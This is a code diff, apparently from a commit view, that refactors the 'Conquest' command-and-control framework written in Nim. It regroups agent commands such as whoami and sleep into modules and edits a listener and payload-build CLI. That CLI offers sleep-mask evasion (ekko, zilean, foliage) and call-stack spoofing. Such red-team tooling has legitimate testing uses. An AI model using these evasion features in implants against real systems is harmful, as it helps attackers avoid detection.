|
||||||
description: protect("Get user information."),
|
Command(
|
||||||
example: protect("whoami"),
|
name: protect("whoami"),
|
||||||
arguments: @[],
|
commandType: CMD_WHOAMI,
|
||||||
execute: executeWhoami
|
description: protect("Get user information."),
|
||||||
)
|
example: protect("whoami"),
|
||||||
]
|
arguments: @[],
|
||||||
|
execute: executeWhoami
|
||||||
|
)
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
# Implement execution functions
|
# Implement execution functions
|
||||||
when defined(server):
|
when defined(server):
|
||||||
@@ -3,19 +3,23 @@ import ../common/[types, utils]
|
|||||||
# Define function prototype
|
# Define function prototype
|
||||||
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
|
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
# Command definition (as seq[Command])
|
# Module definition
|
||||||
let commands* = @[
|
let module* = Module(
|
||||||
Command(
|
name: protect("sleep"),
|
||||||
name: protect("sleep"),
|
description: protect("Change sleep settings."),
|
||||||
commandType: CMD_SLEEP,
|
commands: @[
|
||||||
description: protect("Update sleep delay configuration."),
|
Command(
|
||||||
example: protect("sleep 5"),
|
name: protect("sleep"),
|
||||||
arguments: @[
|
commandType: CMD_SLEEP,
|
||||||
Argument(name: protect("delay"), description: protect("Delay in seconds."), argumentType: INT, isRequired: true)
|
description: protect("Update sleep delay configuration."),
|
||||||
],
|
example: protect("sleep 5"),
|
||||||
execute: executeSleep
|
arguments: @[
|
||||||
)
|
Argument(name: protect("delay"), description: protect("Delay in seconds."), argumentType: INT, isRequired: true)
|
||||||
]
|
],
|
||||||
|
execute: executeSleep
|
||||||
|
)
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
# Implement execution functions
|
# Implement execution functions
|
||||||
when defined(server):
|
when defined(server):
|
||||||
|
|||||||
@@ -75,6 +75,7 @@ proc compile(cq: Conquest, placeholderLength: int): string =
|
|||||||
var config = readFile(configFile)
|
var config = readFile(configFile)
|
||||||
.replaceAfterPrefix("-d:CONFIGURATION=", placeholder)
|
.replaceAfterPrefix("-d:CONFIGURATION=", placeholder)
|
||||||
.replaceAfterPrefix("-o:", exeFile)
|
.replaceAfterPrefix("-o:", exeFile)
|
||||||
|
# .replaceAfterPrefix("-d:MODULES=", modules)
|
||||||
writeFile(configFile, config)
|
writeFile(configFile, config)
|
||||||
|
|
||||||
cq.info(fmt"Placeholder created ({placeholder.len()} bytes).")
|
cq.info(fmt"Placeholder created ({placeholder.len()} bytes).")
|
||||||
|
|||||||
@@ -19,14 +19,12 @@ var parser = newParser:
|
|||||||
|
|
||||||
command("list"):
|
command("list"):
|
||||||
help("List all active listeners.")
|
help("List all active listeners.")
|
||||||
|
|
||||||
command("start"):
|
command("start"):
|
||||||
help("Starts a new HTTP listener.")
|
help("Starts a new HTTP listener.")
|
||||||
option("-i", "--ip", default=some("127.0.0.1"), help="IPv4 address to listen on.", required=false)
|
option("-i", "--ip", default=some("127.0.0.1"), help="IPv4 address to listen on.", required=false)
|
||||||
option("-p", "--port", help="Port to listen on.", required=true)
|
option("-p", "--port", help="Port to listen on.", required=true)
|
||||||
|
|
||||||
# TODO: Future features:
|
|
||||||
# flag("--dns", help="Use the DNS protocol for C2 communication.")
|
|
||||||
# flag("--doh", help="Use DNS over HTTPS for C2 communication.)
|
|
||||||
command("stop"):
|
command("stop"):
|
||||||
help("Stop an active listener.")
|
help("Stop an active listener.")
|
||||||
option("-n", "--name", help="Name of the listener.", required=true)
|
option("-n", "--name", help="Name of the listener.", required=true)
|
||||||
@@ -57,7 +55,7 @@ var parser = newParser:
|
|||||||
option("-s", "--sleep", help="Sleep delay in seconds.")
|
option("-s", "--sleep", help="Sleep delay in seconds.")
|
||||||
option("--sleepmask", help="Sleep obfuscation technique.", default=some("none"), choices = @["ekko", "zilean", "foliage", "none"])
|
option("--sleepmask", help="Sleep obfuscation technique.", default=some("none"), choices = @["ekko", "zilean", "foliage", "none"])
|
||||||
flag("--spoof-stack", help="Use stack duplication to spoof the call stack. Supported by EKKO and ZILEAN techniques.")
|
flag("--spoof-stack", help="Use stack duplication to spoof the call stack. Supported by EKKO and ZILEAN techniques.")
|
||||||
# option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],)
|
|
||||||
command("help"):
|
command("help"):
|
||||||
nohelpflag()
|
nohelpflag()
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,5 @@
|
|||||||
import core/server
|
import core/server
|
||||||
import ../modules/manager
|
|
||||||
|
|
||||||
# Conquest framework entry point
|
# Conquest framework entry point
|
||||||
when isMainModule:
|
when isMainModule:
|
||||||
loadModules()
|
|
||||||
import cligen; dispatch startServer
|
import cligen; dispatch startServer
|
||||||
Reference in New Issue
Block a user